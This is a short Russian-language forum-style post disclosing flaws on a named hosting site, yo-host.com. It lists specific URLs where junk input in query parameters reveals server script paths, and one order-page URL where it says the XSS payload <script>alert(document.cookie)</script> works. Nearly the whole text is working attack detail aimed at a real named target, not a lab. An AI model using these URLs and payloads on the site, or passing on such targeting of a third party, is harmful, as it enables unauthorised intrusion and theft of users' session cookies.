Если "фигню" написать на: http://mail.yo-host.com/index.php?lid=ru&tid=default&f_user=&six=&f_email=
тогда выдаст ошибку и покажет путь к скриптам...
тут тоже:
http://yo-host.com/index.php?do=order&CODE=2

Еще XSS:
http://yo-host.com/index.php?do=order&CODE=4
пишем:
<script>alert(document.cookie)</script>